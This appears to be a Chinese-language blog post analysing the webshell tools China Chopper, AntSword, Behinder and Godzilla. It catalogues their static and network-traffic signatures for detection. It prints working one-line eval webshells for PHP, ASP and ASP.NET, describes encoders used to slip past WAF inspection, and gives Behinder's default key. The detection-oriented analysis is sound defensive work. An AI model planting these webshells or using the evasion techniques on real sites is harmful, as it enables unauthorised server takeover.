【每天学习一点新知识】菜刀、冰蝎、蚁剑、哥斯拉webshell工具分析
什么是webshell已经在之前的文章里做过讲解了,这里就不再赘述
附上链接:【每天学一点新知识】getshell???webshell???_RexHarrr的博客-CSDN博客
目录
中国菜刀
菜刀webshell的静态特征
菜刀webshell的动态特征
参数特征:
如何识别
蚁剑
蚁剑webshell静态特征
蚁剑webshell动态特征
使用base64编码器和解码器时
冰蝎
冰蝎2.0 webshell木马动态特征
冰蝎3.0 webshell木马动态特征
哥斯拉
哥斯拉webshell木马静态特征
哥斯拉webshell动态特征
参考:菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析 - SecPulse.COM | 安全脉搏
中国菜刀
中国菜刀(Chopper)是一款经典的网站管理工具,具有文件管理、数据库管理、虚拟终端等功能。
它的流量特征十分明显,现如今的安全设备基本上都可以识别到菜刀的流量。现在的菜刀基本都是在安全教学中使用。
菜刀webshell的静态特征
菜刀使用的webshell为一句话木马,特征十分明显
常见一句话(Eval):
PHP, ASP, ASP.NET 的网站都可以:
PHP: <?php @eval($_POST['caidao']);?>
ASP: <%eval request("caidao")%>
ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["caidao"],"unsafe");%>
菜刀webshell的动态特征
请求包中:
ua头为百度爬虫
请求体中存在eavl,base64等特征字符
请求体中传递的payload为base64编码,并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J
请求体中执行结果响应为明文,格式为X@Y 结果 X@Y之中
参数特征:
a(密码)参数:值为执行的函数加上对payload的base64解码
Z0参数:base64加密的payload
Z1参数:shell存在的位置
如何识别
(1)执行函数:@eval,@assert 等;
(2)base64_decode($_POST[Z0]),$_GET,$_REQUEST
(3)截取参数z0,进行base64_decode后 ,
@ini_set(“display_errors”,”0″);@set_time_limit(0);@set_magic_quotes_runtime(0)等
(4)从请求侧的代码来看,执行结果会被包裹在->| |<-中
蚁剑
AntSword(蚁剑)是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和/或授权的安全研究人员以及网站管理员的需求。可以自定义编码器。
蚁剑webshell静态特征
https://github.com/AntSwordProject/AwesomeScript蚁剑官方为我们提供了制作好的后门,官方的脚本均做了不同程度“变异”,蚁剑的核心代码是由菜刀修改而来的,所有普通的一句话木马也可以使用。
php中使用assert,eval执行, asp 使用eval ,在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征
蚁剑webshell动态特征
默认编码连接时
这里我们直接使用菜刀的一句话webshell
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且存在base64等字符
响应包的结果返回格式为 随机数 结果 随机数
使用base64编码器和解码器时
蚁剑会随机生成一个参数传入base64编码后的代码,密码参数的值是通过POST获取随机参数的值然后进行base64解码后使用eval执行
响应包的结果返回格式为 随机数 编码后的结果 随机数
(1)编码器
编码器是在发送数据到服务端之前对payload进行相关处理,目的是为了绕过请求侧的流量检测,默认的编码器:
- default编码器:不对传输的payload进行任何操作。
- base64编码器:对payload进行base64编码。
- chr编码器:对payload的所有字符都利用利用chr函数进行转换。
- chr16编码器:对payload的所有字符都利用chr函数转换,与chr编码器不同的是chr16编码器对chr函数传递的参数是十六进制。
- rot13编码器:对payload中的字母进行rot13转换。
- 以上五种编码为中国蚁剑自带的,不需要配置就可以直接使用,除此之外,还存在一个RSA编码器,该编码器将
- RSA编码器:该编码器默认不展示,需要自己配置。配置方法:在编码管理界面点击生成RSA配置生成公钥、私钥和PHP代码,然后点击新建编码器选择PHP RSA之后输入编码器的名字即可。
(2)解码器
解码器主要是对接收到的数据进相关处理,目的是为了绕过响应侧的流量检测,默认的解码器:
- default解码器:不对响应数据进行处理。
- base64解码器:将收到的数据进行base64解码。
- rot13解码器:将收到的数据进行rot13转换,由于英文字母一共26个所以置换两次之后会还原。
冰蝎
冰蝎是一款动态二进制加密网站管理客户端。
冰蝎2.0 webshell木马动态特征
在了解冰蝎3.0之前,先看看2.0是怎么交互等
2.0中采用协商密钥机制。第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
建立连接后 所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;
冰蝎3.0 webshell木马动态特征
在3.0中改了,去除了动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥格式为md5(“admin”)[0:16],但还是会存在一些特征
在使用命令执行功能时,请求包中content-length 为5740或5720(可能会根据Java版本而改变)
每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache
冰蝎3.0 和v2.1相比,最重要的变化就是“去除动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥格式为md5(“admin”)[0:16];冰蝎的默认密钥为“e45e329feb5d925b”
密文的加密方式为先将传递数据base64加密,再将其进行AES加密,由于新版本中取消了动态密钥交互过程,加密的密钥被写死在shell中,如果是不改密码直接使用默认的shell,检测是可以进行解密检测敏感字符的,比如:error_reporting(0) ,phpinfo()等。
如果密码交互失败,冰蝎会进行常规密钥交互阶段,而且由于密码错误,shell中获取内容失败,会爆出目录文件错误提示。
如果攻击者改了密码,密文便无法监测,可以从header头入手,首先是user-agent,内置的25个ua请求头,不自定义的话太老,可以在其源码constants.class中自行更改。
初始化的Accept,Accept-Language,Content-type这三个的值也是一个固定值,且Content-type为小写t,这也可以作为一个监测点。具体值如下:
“Accept”, “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9”
“Accept-Language”, “zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7”
“Content-type”, “application/x-www-form-urlencoded”
或者
“Accept”, “text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8”
“Accept-Language”, “zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2”
“Content-type”, “application/x-www-form-urlencoded”
referer:连接的两个包referer中的文件名都是随机生成的,但文件名是纯大写或者是纯小写,可作为一个弱特征检测。
Cookie:冰蝎的机制是需要从set-cookie中去取值,所以在发包中即使是有了cookie,他的接收包中都会有setcookie,除去第一个包没有。
哥斯拉
哥斯拉号称全部类型的shell均可绕过市面所有静态查杀、流量加密可绕过市面全部WAF,且自带众多插件。支持对载荷进行AES等各种加密,支持自定义Http头,支持内存shell,提供丰富的Webshell功能。 哥斯拉客户端运行在Java平台上,通过调用Java库产生TLS流量。哥斯拉生成phpshell文件,存在默认密码和密钥:
哥斯拉webshell木马静态特征
选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征
EVAL_XOR_BASE64编码连接特征很明显,经过url解码后,pass=eval(base64_decode… 拦截明显的木马特征即可。
哥斯拉webshell动态特征
哥斯拉页面配置中header中有三个固定值,user-agent,accept,accept-language。该弱特征也可作为检测。
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate,
以上两个只能作为弱特征参考
同时在所有请求中Cookie中后面都存在;特征
【每天学习一点新知识】菜刀、冰蝎、蚁剑、哥斯拉webshell工具分析相关推荐
- 渗透测试-菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析
菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析 文章目录 菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析 前言 Webshell简介 中国菜刀 菜刀webshell的静态特征 菜刀webshe ...
- 【每天学习一点新知识】中间人攻击是什么
目录 中间人攻击介绍 中间人攻击原理 1. ARP欺骗 2. DNS欺骗 防御方法 中间人攻击介绍 中间人攻击(man-in-the-middle attack, abbreviated to MIT ...
- 每天学习一点新知识(一)——Unity开发游戏的拆包
每天学习一点新知识(一)--Unity开发游戏的解包 用了CSDN有一段时间了,但一直都没有写过blog,只是在输入,没有输出.而且一直主要都是在查一些作业.题解什么的,还是希望自己能够多学到一些新东 ...
- [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了WHUCTF部分题目,包括代码审计.文件包含.过滤绕过.SQL注入.这篇文 ...
- 渗透测试-流量加密之冰蝎蚁剑
文章目录 前言 冰蝎 PHP冰蝎马 通信数据包 冰蝎初体验 冰蝎攻与防 蚁剑 蚁剑的安装 蚁剑初体验 蚁剑编码器 蚁剑攻与防 总结 前言 一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一 ...
- 【每天学习一点新知识】浏览器的同源策略
目录 同源的定义 同源策略的限制 规避同源策略 document.domain属性 跨域资源共享(CORS) 跨文档通信 JSONP WebSocket Nginx反向代理 浏览器默认 ...
- 【每天学习一点新知识】网络安全--截获攻击
截获攻击原理和后果 原理 若正常传输路径为终端A到终端B,黑客首先改变传输路径为终端A-黑客终端-终端B,使得传输信息必须经过黑客终端,黑客终端就可以截获终端A传输给终端B的消息. 后果 目前很多访问 ...
- 【每天学习一点新知识】nmap端口扫描
nmap所识别的6个端口状态 open(开放的) 应用程序正在该端口接收TCP 连接或者UDP报文.发现这一点常常是端口扫描 的主要目标.安全意识强的人们知道每个开放的端口 都是攻击的入口.攻击者或者 ...
- 【每天学习一点新知识】JNDI注入
什么是JNDI JNDI是Java的一种API,为我们提供了查找和访问各种命名和目录服务的通用统一的接口.通过JNDI统一接口我们可以来访问各种不同类型的服务,例如远程方法调用(RMI),通用对象请求 ...
最新文章
- (原创)c#学习笔记10--定义类成员03--接口的实现01--显示实现接口成员
- 第13届景驰-埃森哲杯广东工业大学ACM程序设计大赛 L-回旋星空
- GPUImageMovieWriter实现暂停录制,重新录制
- java中执行cmd命令_如何通过Java执行cmd命令
- swagger配置分组
- 零基础在学习Java时如何才能打好基础呢
- WinJS实用开发技巧(4):Appbar中使用自定义图片
- 1.IT-解决方案-1-FTP
- Entity Framework 实体框架的形成之旅--基于泛型的仓储模式的实体框架(1)
- no amd graphics driver怎么解决_《英雄联盟手游》卡顿怎么解决 游戏设置优化教程...
- tar 解压zip_Keka for mac(压缩解压工具)
- 代码神注释鉴赏,喜欢拿去用
- java字节码指令简介(仅了解)
- 测试用例的测试编号是自己定义的还是别人给的_初级软件测试工程师必须掌握的东西...
- wampserver的phpmyadmin(默认3306)端口如何更改为3307?
- day27 java的集合(5) HashMap集合和与Hashtable的区别
- html5触摸界面设计与开发_原生APP的开发步骤主要分为哪些?
- 每天一个linux命令:du 与 df
- 在windows生产环境搭建sphinx的注意事项
- MySQL环境变量的配置(详细教程)